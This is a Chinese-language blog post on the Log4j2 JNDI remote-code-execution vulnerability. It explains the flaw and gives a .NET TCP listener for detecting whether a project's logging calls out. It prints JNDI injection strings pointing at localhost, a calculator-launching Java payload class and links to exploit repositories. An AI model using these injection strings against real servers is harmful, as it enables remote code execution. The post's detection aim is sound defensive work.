最近兩天被朋友圈的“Apache Log4j2 遠程代碼執行漏洞”刷屏了,主要是因為組件存在 Java JNDI 注入漏洞:當程序將用戶輸入的數據記入日志時,攻擊者通過構造特殊請求,來觸發 Apache Log4j2 中的遠程代碼執行漏洞,從而利用此漏洞在目標服務器上執行任意代碼。
影響范圍
Apache Log4j 2.x <= 2.14.1
JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目錄接口。通過調用JNDI的API應用程序可以定位資源和其他程序對象。JNDI是Java EE的重要部分,需要注意的是它並不只是包含了DataSource(JDBC 數據源),JNDI可訪問的現有的目錄及服務有:JDBC、LDAP、RMI、DNS、NIS、CORBA,摘自百度百科。
網上很多文章說如何修復漏洞和漏洞截圖,幾乎沒有說如何測試項目是否存在該漏洞。Java 使用 Log4j2 主要測試代碼如下:
log.info("${jndi:rmi://127.0.0.1:8100/Main}"); log.info("${jndi:ldap://127.0.0.1:8100/Main}");
簡單來說就是 Log4j2 會通過 rmi 或者 ldap 協議訪問后面的地址,根據協議的內容解析,有可能執行已經惡意構造的代碼。
網上幾乎都是通過打開 Windows 系統的計算器來證明漏洞的存在,代碼如下:
public class Test { static { try { String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe","/c", "calc.exe"} : new String[]{"open","/System/Applications/Calculator.app"}; java.lang.Runtime.getRuntime().exec(cmds).waitFor(); }catch (Exception e){ e.printStackTrace(); } } }
既然 log4j2 會使用 rmi 或者 ldap 協議訪問攻擊者的服務器,rmi 和 ldap 協議都是基於 TCP 傳輸的,那么我們可以直接使用 .NET 監聽一個 TCP 端口,如果調用 log4j2 打印日志會訪問 .NET 的監聽的端口,就證明可能存在漏洞,如果沒有訪問,就證明安全。
.NET 生成的測試程序非常小 6kb,代碼如下:
using System; using System.Net; using System.Net.Sockets; using System.Threading; namespace ConsoleApp2 { internal class Program { static TcpListener listener = null; static void Main(string[] args) { listener = new TcpListener(new IPEndPoint(IPAddress.Any, 8100)); listener.Start(); new Thread(() => { while (true) { TcpClient client = listener.AcceptTcpClient();//接受一個Client Console.WriteLine($"Connection from {client.Client.RemoteEndPoint},可能存在漏洞!"); client.Close(); } }) { IsBackground = true }.Start(); Console.WriteLine("開啟監聽!"); Console.ReadLine(); listener.Stop(); } } }
嘗試使用 log4j 組件 2.14.0 版本執行打印,效果圖如下:
嘗試將 log4j 組件升級成 2.15.0 版本,再次執行,效果圖如下:
升級版本后,發現調用打印日志后,Java 程序沒有再訪問外部端口。
有興趣的朋友,可以參考如下鏈接復現漏洞,調起計算器。
https://github.com/ilsubyeega/log4j2-exploits
https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
最后,附上測試程序:https://files.cnblogs.com/files/itsvse/%E6%B5%8B%E8%AF%95%E7%A8%8B%E5%BA%8F.rar